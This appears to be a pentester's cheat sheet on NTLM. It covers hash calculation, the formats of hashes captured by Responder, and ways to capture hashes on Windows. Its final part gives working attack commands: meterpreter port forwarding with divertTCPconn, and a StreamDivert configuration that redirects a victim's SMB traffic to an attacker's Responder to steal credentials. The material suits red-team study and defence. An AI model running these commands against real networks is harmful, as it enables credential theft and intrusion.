NTLM

NT / LM Hashes

• https://blog.redforce.io/windows-authentication-and-attacks-part-1-ntlm/

Calculate NTLM

• https://www.browserling.com/tools/ntlm-hash

With Python:

>>> import hashlib
>>> hashlib.new('md4', 'Passw0rd!'.encode('utf-16le')).hexdigest()

With Pypykatz:

$ pypykatz crypto nt 'Passw0rd!'

Responder Capture Structure

• https://github.com/lgandx/Responder/blob/eb449bb061a8eb3944b96b157de73dea444ec46b/servers/SMB.py#L149

• https://ru.wikipedia.org/wiki/NTLMv2#NTLMv2

• https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/

• Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.

[SMB] NTLMv1 Hash and [SMB] NTLMv1-SSP Hash capture structure:

<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>

[SMB] NTLMv2-SSP Hash capture structure:

<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>

Capture NTLM on Windows

• https://reqrypt.org/windivert.html
• https://github.com/basil00/Divert
• https://googleprojectzero.blogspot.com/2021/08/understanding-network-access-windows-app.html

DivertTCPconn

• https://github.com/Arno0x/DivertTCPconn

Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port (meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:

$ sudo ./Responder.py -I eth0 -Av
meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445
meterpreter > execute -f divertTCPconn.exe -a "445 8445"

StreamDivert

• https://github.com/jellever/StreamDivert

Divert all inbound TCP connections to port 445 (SMB) coming from 192.168.1.11 to 10.10.13.37 port 445:

Cmd > powershell -c "Add-Content conf.txt 'tcp < 445 192.168.1.11 -> 10.10.13.37 445'"
Cmd > .\StreamDivert.exe .\conf.txt -f -v